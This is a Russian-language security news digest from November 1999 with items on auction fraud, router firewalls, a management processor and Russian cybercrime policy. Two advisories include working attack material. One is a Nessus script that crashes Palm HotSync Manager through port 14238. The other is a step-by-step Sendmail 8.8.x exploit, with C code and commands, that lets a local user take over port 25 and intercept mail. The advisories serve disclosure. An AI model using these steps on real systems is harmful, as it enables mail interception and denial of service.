Обзор высоких технологий в области  защиты и взлома
/ новости / обзор рынка и комментарии к нему / 11.11.99 /
http://www.inroad.kiev.ua
ac@istrada.net.ua

Охотники за мошенниками

Электронная коммерция это, конечно, прорыв в будущее, но у каждой медали есть и обратная сторона. Сама структура Интернета такова, что в нем трудно что-либо контролировать или отслеживать.

Это, безусловно, положительный фактор с точки зрения приватности, но в то же время благодаря таким свойствам Сети в ней очень вольготно чувствуют себя различные мошенники. А уж с развитием онлайновой торговли для них и вовсе наступили райские времена. Постоянные сообщения о случаях обмана, связанных, в частности, с онлайновыми аукционами, подрывают доверие людей к честному бизнесу в Интернете, и такое положение вещей подтолкнуло компанию Edeal Service Corp., владеющую аукционным сайтом edeal.com на запуск программы, направленной на борьбу с подобными проявлениями.

Инициатива получила название Fraud Busters (Охотники за мошенниками). Теперь жертвы обмана могут обратиться в эту службу и сообщить о нечестных онлайновых аукционных сделках или же пожаловаться на продавцов. А уж Fraud Busters доведет эту информацию до сведения соответствующих местных и федеральных правоохранительных организаций, которым и предстоит выяснить, действительно ли имели место какие-либо правонарушения, и принять адекватные меры.

На данный момент Fraud Busters помогает полиции Сан-Диего в расследовании по поводу компании Tecresale, которая, как полагают, обманула своих покупателей более чем на 30000 долларов. И начинание Edeal встречает понимание у других онлайновых аукционов, прекративших работу с Tecresale, а процессинговые компании приостановили работу с ее счетом из-за большого количества жалоб. Все понимают, что ситуация с мошенничествами в этой сфере становится критической, и чтобы выправить положение и вернуть доверие клиентов, сотрудничество просто необходимо.

Copyright (C) Компьютерра


Переполнение буффера в карманном компьютере

Недостаток в Hotsync manager application, которое используется для обмена данными PalmPilot'a с окружающим миром, позволяет провести атаку по переполнению буфера на удаленный миникомпьютер Palm Pilot - и как следствие, вывод еe: из строя. Естественно, при знании архитектуры процессора, используемого в palm pilot возможно и написание эксплоита, который исполнит на атакованной машине какой-то код.

Когда Hotsync manager настроен на работу в сети, используя нижепреведенный exploit мы подвергаем систему обычному переполнению буфера данных, что приводит к сбою всей системы, а также возможно исполнение любого кода на атакуемой системе. HotSync manager обеспечивает синхронизацию сети между десктопом Palm Pilota и машиной(в данном случае уязвимой считается windows 98 HotSync Manager 3.0.4) имеющей выход в сеть интернет. Однако использование HotSync managera для выхода в Cеть с Palm Pilota, позволяет хакеру, используя данный exploit(TCP port 14238) позволяет провести атаку по переполнению буфера на удаленную Palm Pilot машину и как следствие, вывод еe: из строя.

The following Nessus Plugin can be used to test this:
#
# This script was written by Noam Rathaus
# 
#
# See the Nessus Scripts License for details
#
#
if(description)
{
name["english"] = "HotSync Manager Denial of
 Service attack";
script_name(english:name["english"]);

desc["english"] = "It is possible to cause
HotSync Manager to crash by sending a few bytes
of garbage into its listening port TCP 14238.

Solution: Block those ports from outside communication

Risk factor : Low";

script_description(english:desc["english"]);

summary["english"] = "HotSync Manager
Denial of Service attack";
script_summary(english:summary["english"]);

script_category(ACT_DENIAL);

family["english"] = "Windows";
script_family(english:family["english"]);


exit(0);
}

#
# The script code starts here
#

if (get_port_state(14238))
{
sock14238 = open_sock_tcp(14238);
if (sock14238)
{
  data_raw = crap(4096) + string("\n");
  send(socket:sock14238, data:data_raw);
  close(sock14238);

  sleep(5);

  sock14238_sec = open_sock_tcp(14238);
  if (sock14238_sec)
  {
   security_warning(port:14238,
 data:"HotSync Manager port is open.");
  }
  else
  {
   security_hole(port:14238);
  }
}
}

Решить эту проблему 3Com Palm team собирается в следующем релизе HotSync Managera.
- ch1ck

Copyright (C) Team Void


Наличие мелких ошибок в Sendmail привело к плачевному результату

Путe:м использования кажущихся незначительными ошибок в sendmail локальный пользователь может добиться закрытия sendmail'a и установкой на 25 порт своего демона/программы. Не стоит и говорить, что это позволит ему перехватывать всю идущую на хост почту. Уязвимости подвержены версии 8.8.x.

Проблема начинается с того, как sendmail обрабатывает ошибку вызова accept(). Этот вызов происходит, когда пакет с флагом SYN приходит на порт, на котором слушает sendmail (обычно порт 25). Когда трe:хступенчатая авторизация соединения (handshake , SYN - SYN/ACK - ACK) не завершается успешно (а именно так и работает популярный cканер портов NMAP) вызов accept() завершается ошибкой, и sendmail закрывает все порты, на которых он слушает, на 5 секунд.

Вторая проблема - пользователь может запустить sendmail с флагом -bD. Тогда sendmail работает как демон, но не в background. При пуске его с этой опцией права юзера не проверяются, и любой пользователь может запустить sendmail с этим флагом.

Третья проблема - каким образом sendmail реагирует на сигнал HUP. Когда получен HUP, сендмаил вызывает execve(argv[0],..) чтобы перезапуститься. Проблема в том, что argv[0] может быть каким угодно. Ещe: больше - дескриптор сокета, на котором слушает сендмаил, остаe:тся открытым до завершения процесса - и как следствие, любой argv[0], который исполняется вызовом execve(); унаследует данный дескриптор socket'а.

Итак, чтобы использовать это в сових целях, надо проделать следующее.

1.С другой машины просканировать nmapом в режиме half open 25 порт атакуемого хоста. (сендмаил приостановится на 5 секунд)

2.В эти 5 секунд запустить sendmail -bD как локальный пользователь на атакуемой машине имеющий доступ к noexec, и установить argv[0] по вашему выбору (для этого и нужен noexec)

3.Послать процессу сигнал HUP (теперь программа, которую вы указали в команде noexec, и которая является argv[0] имеет дескриптор сокета sendmail'a).

Теперь можно повесить на 25 порт даже свой fake sendmail, который позволит вам перехватывать весь почтовый траффик. Ниже приводится пример этого:

victim$ cd /tmp
victim$ cat >test.c <
#include 

#define SERV_FD 4

main() {
struct sockaddr_in saddr;
int csock,i=sizeof(saddr);
while (1) {
while ((csock=accept(SERV_FD,&saddr,&i))<0);
if (!fork()) {
dup2(csock,0);
dup2(csock,1);
dup2(csock,2);
printf("220 Takeover ESMTP mail service - road closed.\n");
fflush(0);
sleep(1);
shutdown(csock,2);
close(csock);
exit(0);
}
}
}
EOF

victim$ gcc test.c -o test

(мы сделали некую безобидную замену sendmail'a)

attacker# nmap -p 25 -sS -P0 -n victim

(мы просканировали 25 порт жертвы в режиме
полу-соединений (посылается лишь SYN), и sendmail
"засыпает" на 5 секунд)

victim$ doexec /usr/sbin/sendmail /tmp/test -bD

(пользователь запускает sendmail,
arvg[0] равен '/tmp/test')

victim$ killall -HUP sendmail

(пользователь послал sendmail'у HUP,
теперь исполняется /tmp/test)

victim$telnet localhost 25
220 Takeover ESMTP mail service - road closed.
victim$
- duke

Copyright (C) Team 
Void


Все маршрутизаторы Allied Telesyn отныне будут
оснащены бесплатным брандмауэром 

Компания Allied Telesyn International, специализирующаяся на производстве широкого спектра сетевого оборудования, объявила о том, что, начиная с ноября текущего года, все модели выпускаемых ею маршрутизаторов будут поставляться вместе с бесплатным брандмауэром Stateful Inspection Firewall Nemesis ("Немезида").

Этот брандмауэр обеспечивает защиту от несанкционированного доступа и атак хакеров. Брандмауэр Stateful Inspection Firewall "Немезида" способен определить и успешно отразить широкий диапазон атак, включая: Ping of Death, SYN и FIN-flooding, Smurf-атаки и сканирование портов.

По заявлению Allied Telesyn, технология Stateful Inspection Firewall позволяет регистрировать и тщательно проверять всю поступающую информацию, отслеживать все перемещения и проверять все события, не оставляя таким образом ни единой "приоткрытой двери" в сети для атак извне. При этом Stateful Inspection Firewall обеспечивает самую высокую на сегодняшний день скорость обработки пакетов.

Необходимо отметить, что специальное программное обеспечение Stateful Inspection Firewall непосредственно "вшивается" в собственное ПО маршрутизатора.

Отдельно брандмауэр "Немезида" можно приобрести по цене 495 дол.

Copyright (C) InfoArt News Agency


Zircon - "менеджмент"-процессор, позволяющий независимо от основной системы проводить ее контроль, диагностику и прочее

Это очень интересный продукт. Как утверждает разработчик, компания Qlogic, ее так называемый менеджмент-процессор состоит из "железа", ПО и специального ПЗУ, которые работают полностью автономно, то есть независимо от CPU, операционной системы, BIOS и другой начинки компьютера. Термин Менеджмент-процессор означает, что этот процессор независимо от основной системы проводит ее диагностику, тестирование и осуществляет контроль, а при появлении сбоев инициирует средства и функции для скорейшего их устранения. Изобретение должно быть крайне необходимо пользователям больших корпоративных серверов, сбои в работе которых серьезно влияют на общую ситуацию. Qlogic утверждает, что ее процессор Zircon представляет наиболее интегрированную версию так называемого baseboard management controller (BMC), а также обеспечивает поддержку новой технологии Intelligent Platform Management Interface. Посмотреть на этот процессор можно будет на выставке Comdex.

Copyright (C) РосБизнесКонсалтинг


Что такое хорошо и что такое плохо

Сергей Бобровский

Владимир Путин подписал распоряжение, направленное на усиление борьбы с преступлениями в сфере высоких технологий. Согласно этому документу, в 2000 г. должен быть создан регистр наиболее важных информационных ресурсов (в том числе АСУ критическими технологиями и производствами). Это хорошо (похоже, правда, что теперь не только провайдерам придется тянуть оптоволокно в ближайшее отделение ФСБ).

Данное распоряжение также обязывает МВД, ФСБ и ГТК России подготовить цикл публикаций и передач в СМИ по проблемам борьбы с преступлениями в сфере высоких технологий. Это плохо (кстати, а что, у МО нет таких проблем?). "Проблемы борьбы с преступлениями" в любой сфере в нашей стране известны каждому - это нехватка специалистов и слабая материально-техническая база, вытекающие из общего положения дел в России. Все! Ведь глупо писать, что в райотделах милиции ПК используются как пишущие машинки. Это следствие, а не причина. К сожалению, статьи о том, как ИТ помогают ловить преступников, и вообще материалы, рассказывающие о положительных примерах применения ИТ, под определение "проблемы борьбы" не подпадают.

Учитывая уровень публикаций по ИТ в некомпьютерной прессе, подобное распоряжение может привести только к обратному эффекту - волне неквалифицированных материалов-ужастиков и приданию хакерству романтического ореола (как это уже произошло с преступным миром). Лучше бы распоряжение обязало всевозможные государственные организации подготовить цикл публикаций и передач в СМИ на тему "ИТ - это ХОРОШО".

А как считают наши читатели? Автору можно написать по адресу: sbo@pcweek.ru.

 

Обновлен сервер "Проекта - Inroad"

Обновления раздела
Bugs {Проект - Alliance}

Архив новостей
Последние новости за два месяца

Беспроводный доступ в Интернет
предоставлен  фирмой  InterStrada

http://www.citycat.ru/ ═══════ E-mail: citycat@citycat.ru

---

В избранное